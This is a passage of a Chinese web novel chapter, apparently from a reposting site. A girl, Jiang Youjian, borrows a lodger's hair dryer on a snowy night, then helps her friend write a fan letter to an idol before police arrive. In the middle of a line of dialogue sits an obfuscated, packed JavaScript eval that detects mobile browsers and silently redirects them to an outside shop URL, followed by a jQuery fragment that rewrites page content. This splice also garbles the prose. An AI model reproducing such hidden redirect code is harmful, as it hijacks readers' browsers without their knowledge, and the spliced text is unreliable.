她下意识地攥紧了头上的毛巾，湿冷的头发贴在脖颈上，水珠顺着脖子滑入衣领。
湿湿黏黏，冰冰凉凉，很难受。
那股好不容易被她用洗发水压下去的淡淡的硫磺苦味，在此刻好像又从地底泛了上来，像堵塞的井水，一切都在死气沉沉的井底悄然发酵……
最终，充满恶臭。
她一直觉得奚临是干净的，是不属于这个潮湿腐朽充满生活琐碎的世界的。
她对香烟的印象一直不好，总会让她想到那些沉闷的充斥着劣质白酒和叶子烟草的味道，那充满脏话和满地口水的空间。
很呛人，而她不得不按照吩咐进入这样的环境给他们送下酒菜。
烟酒，在小镇里的男人中，仿佛是硬通货。
烟酒两开的男人，是女人们的硬通货，她们习以为常，一面嗔怪一面伺候。
姜柚见不懂。
可现在，他指缝间那一点猩红在黑夜里明灭，像是一枚跌落凡尘的星火。
她脑海里想不到那些场景，相反，那股烟草早已消散在冰冷的空气中，混合着雪的味道，无端发酵出一种荒颓感。
他抽烟的姿势很淡，不像是为了消解什么愁苦，倒像是在冷眼旁观这个世界的变化。
哪怕世界在他面前坍塌，他大概也是眉头未皱，坐等指间蓝色的烟雾殆尽。
“这么冷的天，还在洗头？”他开口了，声音被烟雾熏得比白天更沉了几分，像是一把大提琴在空旷的音乐厅里拉响了低声部。
姜柚见僵硬地点了点头，水珠继续往衣领流，被毛衣吸收，一点点凝结成吸附在皮肤上的黏剂。
她好憎恨，这让她又冷又难受的夜晚。
顾不得回答什么，因为她怕自己说出“你才是始作俑者”这句话。
下一秒，她早已几步跨上楼梯，飞快回到杂物间。
背影大概有点落荒而逃的感觉，但她顾不得许多。
室内点燃了煤炉，除了煤炉周围那一平米大的地方以外，其他地方都冷得快要结冰。
再煤炉旁颤抖着取暖的那几分钟，她脑力里不断回荡着一句强烈的期盼——
快走吧，快退房吧，谁都别在这么冷的天来住店了，拜托了……
毛巾被浸湿了，她走出门哈着气走到走廊上吧毛巾挂上晾衣绳。
向下看去，楼下已经没人了。
奚临的脚步声在狭窄幽暗的楼道响起，他站定步伐。
侧目看见她的那一刻，他恰好看见她披散着湿发，脸色被冻得有些惨白，眼睫上的水珠恨不得结冰。
他目光落下的瞬间，她感受到空气中无形的重量，有某种难以言语的压迫感。
比这一切更令她害怕看见的，是同情，或者怜悯。
她不是客观上如此可怜，而是被他人赋予的可怜。
“有吹风机吗？”他开口问道。
“有……”她面露难色，但是在她之前的房间里，而且已经坏了很久了。
她随便找了个理由：“大家都睡了，不方便……”
他看着她，那种深邃的目光似乎不需一秒，就能识别出她话的真假。
她现在确实很冷。
“去楼上吹，不会影响别人。”他说。
她怔了一下，下意识问了一句：“什么？”
“吹风机。”他语气很平，“我自带的，噪音不大。”
她下意识拒绝到：
“……不用。”
拒绝别人的好意，这绝对是她的本能，不想给任何人添麻烦。
而且……她永远分辨不出来，对方是真心，还是假意。
他脸上没有笑容，注视陈述着事实
“你这样吹不干，往后可能会经常头疼。”
她僵着脸，心有担忧，还是强行说了句：“没事。”
“听说你快高考了，这个节骨眼生病很耽误自己。”
“不过……随你心意吧。”他不再多说。
“林先生，真不用……”她有些动摇。
他沉默了一秒，转身往楼上走。
她站在原地，湿发贴着后颈，风从走廊尽头灌进来。
她真的在发抖，她不知道自己是否应该学会接受一些好意……
他已经走到顶楼，停在门口，用钥匙开门。
身后响起了匆促的脚步声。
她说：“那我……吹完就走。”
门被他推开，灯亮了起来，他的屋子是最温暖的，而且充满一些冷质调子的香气，没有半点外界的味道。
她身处这里，真的感觉到了安适。
奚临从行李箱里面拿出吹风机，把电插好，递给她。
然后退开。
“上面的按钮调温度，下面调档位。”他言简意赅说。
她拘束地坐在椅子边缘，双手接过，说着谢谢。
奚临并没有继续关注她，而是兀自打开手提电脑，继续整理白天的录音。
屏幕上是各种各样的波形和轨道。
吹风机的声音响起，暖风打在发根，热气驱散了冰冷，水分被蒸干，发丝慢慢变得蓬松。
她低着头，闭着眼睛催促着自己赶紧吹完赶紧走。
忽然意识到，他刚抽完烟，竟然全程都没有烟味。
她关掉吹风机。
屋里瞬间安静。
“谢谢了，林先生。”她低声说。
他抬眼看向她，“不客气。”
她站起身，头发已经干了，温度终于可以被身体留住。
她走到门口，犹豫了一下。
“林先生。”
“嗯。”
“您打算在这里住多久，不回家过年吗？”
她问出这句话的时候，绝对没有希望他走的意思，毕竟他刚借了吹风机给自己，她不可能这么过河拆桥的。
他停住动作，看向她已经恢复红润的脸。
空气静了一瞬，目光格外清晰。
“可能会很久，也可能很快就走。”他说得模棱两可。
“不过至少等到开春。”
“原来是这样。”她扯出了一个笑容，不知道为什么，听到这里，胸口好像轻松了一点。
他没有正面回答自己过年那句，但是她没有追问下去。
奚临看向她，像是看穿了什么，嘴角露出几本谑意：“你希望，我赶紧走是吗？”
她连忙摆手：“没有没有，绝对没有。”
但是整个人都紧张起来，像是真的被猜中了一样。
尽管，他的到来，真的让自己过得格外辛苦……
她那副急于自证的局促样，在奚临眼里像极了在野外受惊后的小企鹅。
奚临没有拆穿她，将视线移回屏幕，手指在桌面上无意识地轻点了一个复杂的节拍。
那节拍姜柚见听得有些小小的惊艳，这真的是随手拍的吗？
“早点睡吧，柚子？”他垂下眼睫，语气里带了点连他自己都没察觉的调侃。
姜柚见立刻纠正道：“柚见。”
“好，柚见。”
听到自己的名字，从他的喉腔中发出来，随性慵懒的腔调。
她有一瞬间，觉得这个名字，无比美好。
柚见，柚见啊……
姜柚见抱着毛巾快步而逃。
回到杂物间，趁着身上的余温，她飞快钻进被窝，心脏却莫名狂跳不止。
次日，奚临离开得更早了，姜柚见默认他不需要自己帮忙背盒子了，正好可以趁着白天写写作业。
今天的雪比预想的还要大。
封山令下的北山，远远看去，像是一头伺机而动的大白熊。
镇上雪也很大，但是叶若还是冒着雪，敲开了惜春馆的大门。
“叶若啊，下这么大的雪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271574|198121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还来找柚见啊。”
外公打开门，看清来人，寒暄了几句。
叶若背了一大书包的东西，“找柚见一起写作业，我不大会，柚见可以辅导我一下。”
进门后，外婆关心道：“叶若吃过饭了吗，我们今天煲了乌骨鸡汤。”
“吃过啦，别麻烦了，谢谢外婆，我上楼了。”
程爽正在一楼百无聊赖地看电视，一眼看出叶若周身穿的是零仁的周边，全身上下的行头价格已经被她了然于心。
这小小骊镇，竟然有小屁孩有财力追星。
顺利以学习为理由瞒天过海后，叶若看到姜柚见房间里面蔡瑞凯正在玩贪吃蛇。
叶若面露不悦，直奔杂物间而去。
“不是！你外公外婆怎么这么对你啊，这里长期都没人住，也没暖气，不怕你沾上霉菌吗，你半夜冻死咋办……”
姜柚见赶紧起身去关门，将叶若的吐槽赶紧隔绝开来。
叶若嫌弃地撇撇嘴，但到底还是压低了嗓音，手脚麻利地从那个鼓囊囊的书包里掏出一叠又一叠的东西。
“看我带来什么好东西！”
不是书本，不是任何和学习有关的东西。
而是一叠印着精致暗纹的信纸、亮晶晶的贴纸、五颜六色的彩笔，还有一本厚厚的边角被保护得极好的剪报本。
封面上的少年是从画报上裁剪下来的，是时下娱乐圈流行的细碎刘海、眼神中闪烁着聚光灯，又带着些忧郁的易碎感，穿着定制演出服，在舞台聚光灯下像是在发光。
“看！这是我们家零仁上个月在深市演唱会的现场图，我姐托人寄过来的。”
叶若眼里闪烁着狂热的光，撅着嘴隔空亲了一下，那是一种姜柚见从未拥有过的，极其纯粹而真挚的快乐。
姜柚见凑近看了看。那是她理解不了的另一个世界。照片里的少年眼神干净，每一个细节和微表情似乎都经过严格打磨。
无论任何角度，都一定是完美无暇。
不知道为什么，她脑海里浮现出住在顶楼那个男人的脸。
她总觉得，他不属于这个现实世界。
他不加修饰，也比明星好看。
同样是耀眼的人，零仁像是一件摆在橱窗里的艺术品……而楼上那个人，更像是一场来了就逝去的雪，无人能靠近，无人能抓住。
“柚见，你文笔好，帮我想想这段话怎么写。”叶若摊开一张粉色的信纸，愁眉苦脸地攥着笔杆。
“我想告诉他，哪怕全世界都误解他，我也永远站在他这边。他上次因为练舞受伤被黑粉说是‘卖惨’，我真的气得三天没吃下饭。”
“是吃不下饭，还是吃不下炸串米花糖枫叶膏……”
姜柚见笑着接过笔，在草稿纸上轻轻划拉着。
写信应援，把所有的少女心思寄托给一个素未谋面的影子。
她心知这世上有无数像叶若这样爱着零仁的人，零仁一场活动能已收到成千上万这样精心准备的书信和礼物。
他真的能看到自己的信吗……
可是每个追星少女都是这样狂热而不问结果。
喜欢他、并写下自己的心情，这一刻，已经圆满了。
这种情感对姜柚见来说太奢侈了，她没有那样的热情，去构筑一个关于爱他人的宏大梦境。
即便如此，她仍然支持叶若圆梦。
起笔，落下，每个字都深思熟虑。
“哇！柚见！你真是个天才！”叶若兴奋得差点跳起来，“快快快，帮我抄上去，我字没你的好看，零仁要是能看到你写的字，一定会被治愈的。”
姜柚见无奈地笑笑，刚提笔，却听见楼下传来一阵骚动。
是外婆的声音，带着一种农村妇女常见的诚惶诚恐。
“哎呀，警官，我们家都是老实人，这是出什么事了？”
姜柚见握笔的手一僵。